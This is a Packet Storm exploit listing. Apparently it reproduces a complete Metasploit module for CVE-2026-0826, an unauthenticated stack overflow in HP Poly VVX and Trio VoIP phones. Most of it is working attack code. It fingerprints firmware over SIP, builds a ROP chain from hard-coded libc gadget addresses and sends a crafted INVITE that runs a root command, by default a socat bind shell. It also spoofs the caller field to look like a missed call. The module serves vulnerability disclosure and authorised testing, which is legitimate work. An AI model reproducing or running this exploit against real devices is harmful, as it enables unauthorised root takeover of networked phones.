PACKETSTORM 9.2 CRITICAL

📄 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892

9.2 / 10
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/SC:N/VI:H/SI:N/VA:H/SA:N

Description

CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all models in the VVX series VVX 150, VVX 250, VVX 350, and VVX 450, as well as three models from the Trio IP Conference series Trio 8800, Trio 8500, and...
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Basic Information

ID PACKETSTORM:223892
Published Jun 19, 2026 at 00:00

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HP Poly Voice Unauthenticated Remote Code Execution',
'Description' => %q{
CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all
models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP
Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve
unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present
in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment
(ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a
remote attacker.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # Discovery, Analysis, Exploit
],
'References' => [
['CVE', '2026-0826'],
['URL', 'https://support.hp.com/us-en/document/ish_15052661-15052687-16/hpsbpy04083'],
['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-hp-poly-vvx-trio-voip-phones-fixed/']
],
'DisclosureDate' => '2026-06-01',
# While the target is an embedded Linux system, there is no curl/wget/ftp for the command payloads, so we
# only expose the Unix payloads. Only the socat payloads have been tested to work.
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # /usr/local/root/polyapp runs as root
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
# NOTE: Tested with the following payloads:
# cmd/unix/bind_socat_tcp
'DefaultOptions' => {
'RPORT' => 5060,
'PAYLOAD' => 'cmd/unix/bind_socat_tcp',
'SocatPath' => '/usr/local/bin/socat',
'BashPath' => '/bin/sh'
},
'Payload' => {
'BadChars' => "\r\n\0 ",
'Encoder' => 'cmd/ifs'
},
'Notes' => {
'Stability' => [CRASH_OS_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
connect_udp

sip_response, model_str, version_str = get_version

unless sip_response.nil? || model_str.nil? || version_str.nil?

version = Rex::Version.new(version_str)

description = "Poly #{model_str} version #{version_str}"

# Per the vendor advisory, every model in the VVX family is vulnerable, and three models in the Trio family
# are vulnerable. The fixed firmware version is also given here.
affected_ranges = [
{ family: 'vvx', model: nil, fixed_version: '6.4.8' },
{ family: 'trio', model: '8300', fixed_version: '8.1.7' },
{ family: 'trio', model: '8500', fixed_version: '7.2.8' },
{ family: 'trio', model: '8800', fixed_version: '7.2.8' },
]

affected_ranges.each do |affected_range|
next unless model_str.downcase.include?(affected_range[:family])

next if (affected_range[:model]) && !model_str.downcase.include?(affected_range[:model])

next unless version < Rex::Version.new(affected_range[:fixed_version])

# NOTE: When we use "Require: ice" in the request, we get a "420 Bad Extension" response if ICE is enabled
# but not fully configured. The phone will still be exploitable.

if sip_response.start_with? "SIP/2.0 200 OK\r\n"
return Exploit::CheckCode::Appears(description)
end

return Exploit::CheckCode::Detected(description)
end

return Exploit::CheckCode::Safe(description)
end

CheckCode::Unknown
ensure
disconnect_udp
end

def exploit
connect_udp

cmd = payload.encoded.to_s

unless datastore['PAYLOAD'] == 'cmd/unix/bind_socat_tcp'
print_warning('Only the unix socat payload cmd/unix/bind_socat_tcp has been verified to work')
end

vprint_status("cmd: #{cmd}")

_, model_str, version_str = get_version

fail_with(Failure::UnexpectedReply, 'Failed to get target version') unless version_str && model_str

rop_table = nil

if model_str.downcase.include? 'vvx'
rop_table = get_vvx_rop_table(version_str)
else
fail_with(Failure::BadConfig, "No ROP table available for model #{model_str}")
end

fail_with(Failure::BadConfig, "No ROP table available for #{model_str} version #{version_str}") unless rop_table

vprint_status("ROP Table: #{rop_table}")

# we use system() which will do "/bin/sh -c <CMD>" for us.

attribute_name = 'a=candidate:'

overflow = attribute_name
overflow += 'A' * (256 - attribute_name.length) # fill the 256 byte stack buffer
overflow += 'B' * 19 # padding
overflow += '1111' # r4
overflow += '2222' # r5
overflow += '3333' # r11
# .text:40A71454 POP {PC}
overflow += [rop_table[:libc_base] + rop_table[:libc_gadget1]].pack('V') # pc #1 - align stack (otherwise we are off by 4 and libc!fork will SIGSEGV during libc!system)
# .text:40B57C0C POP {R0-R3,PC}
overflow += [rop_table[:libc_base] + rop_table[:libc_gadget2]].pack('V') # pc #2 - set r3 to libc!system
overflow += 'CCCC' # r0
overflow += 'CCCC' # r1
overflow += 'CCCC' # r2
overflow += [rop_table[:libc_base] + rop_table[:libc_system]].pack('V') # r3 - # .text:40A939C8 ; int __fastcall system(char *cmd)
# .text:40B41BF4 MOV R0, SP
# .text:40B41BF8 BLX R3
overflow += [rop_table[:libc_base] + rop_table[:libc_gadget4]].pack('V') # pc #3 - set r0 == cmd, and call system(cmd)
overflow += cmd # &sp

_, udp_lhost, udp_lport = udp_sock.getlocalname

sdp_data = "c=IN IP4 #{udp_lhost}\r\n"
sdp_data += "m=audio #{rand(50_000..50_999)} RTP/AVP 0\r\n"
sdp_data += "a=rtpmap:0 PCMU/8000/1\r\n"
sdp_data += "#{overflow}\r\n"

call_id = Rex::Text.rand_text_hex(16)

cseq = rand(65_535)

sip_request = "INVITE sip:#{rhost}:#{rport} SIP/2.0\r\n"
sip_request << "Via: SIP/2.0/UDP #{udp_lhost}:#{udp_lport}\r\n"
sip_request << "Route: <sip:#{udp_lhost}:#{udp_lport};lr>\r\n"
sip_request << "From: <sip:#{rhost}:#{rport}>\r\n" # The From is the target ip, as this can appear in the UI as a missed call.
sip_request << "To: <sip:#{rhost}:#{rport}>\r\n"
sip_request << "Contact: <sip:#{rhost}>\r\n"
sip_request << "Call-ID: #{call_id}\r\n"
sip_request << "CSeq: #{cseq} INVITE\r\n"
sip_request << "Content-Type: application/sdp\r\n"
sip_request << "Content-Length: #{sdp_data.bytesize}\r\n"
sip_request << "\r\n"
sip_request << sdp_data

udp_sock.put(sip_request)
ensure
disconnect_udp
end

def get_version
# Cache the response for the scenario where exploit is run with AutoCheck true. This avoids a second SIP OPTIONS
# request being sent to the target.
@get_version ||= _get_version
end

def _get_version
_, udp_lhost, udp_lport = udp_sock.getlocalname

sip_request = "OPTIONS sip:#{rhost}:#{rport} SIP/2.0\r\n"
sip_request << "Via: SIP/2.0/UDP #{udp_lhost}:#{udp_lport}\r\n"
sip_request << "From: <sip:#{udp_lhost}:#{udp_lport}>\r\n"
sip_request << "To: <sip:#{rhost}:#{rport}>\r\n"
sip_request << "CSeq: #{rand(65_535)} OPTIONS\r\n"
sip_request << "Call-ID: #{Rex::Text.rand_text_hex(16)}\r\n"
# The vuln is in a non-default service for Interactive Connectivity Establishment (ICE). We use the Require header
# to ask the target if it supports ICE.
sip_request << "Require: ice\r\n"
sip_request << "\r\n"

udp_sock.put(sip_request)

sip_response = udp_sock.get(udp_sock.def_read_timeout)

unless sip_response.empty?
# HP Poly VVX devices are vulnerable.
# Example user agent string: "User-Agent: PolycomVVX-VVX_450-UA/6.4.7.4477"
if sip_response =~ %r{User-Agent:\s*PolycomVVX-(VVX_\d+)-UA/([\d+.]+)}i
return sip_response, Regexp.last_match(1), Regexp.last_match(2)
end

# HP Poly Trio devices are vulnerable also, Recog has a regex and example values for these:
# https://github.com/rapid7/recog/blob/d6b0ee8b5272198c0d2e38d78999836c821f0934/xml/sip_banners.xml#L763C25-L763C112
# Example user agent string: "User-Agent: PolycomRealPresenceTrio-Trio_8800-UA/5.4.0.12197"
if sip_response =~ %r{User-Agent:\s*(?:Polycom/[\d.]+ )?PolycomRealPresenceTrio-(Trio_\S+)-UA/([\d.]+)(?:_(.{12}))?}
return sip_response, Regexp.last_match(1), Regexp.last_match(2)
end

end

[nil, nil, nil]
end

def get_vvx_rop_table(version_str)
rop_tables = {
'6.4.7.4477' => {
# Even though /proc/sys/kernel/randomize_va_space is 1, all libraries are
# mapped from 0x40000000, and libc ends up here.
libc_base: 0x40A5C000,
# .text:40A71454 POP {PC}
libc_gadget1: 0x15454,
# .text:40B57C0C POP {R0-R3,PC}
libc_gadget2: 0xFBC0C,
# .text:40A939C8 ; int __fastcall system(char *cmd)
libc_system: 0x379C8,
# .text:40B41BF4 MOV R0, SP
# .text:40B41BF8 BLX R3
libc_gadget4: 0xE5BF4
}
}

rop_tables[version_str]
end
end

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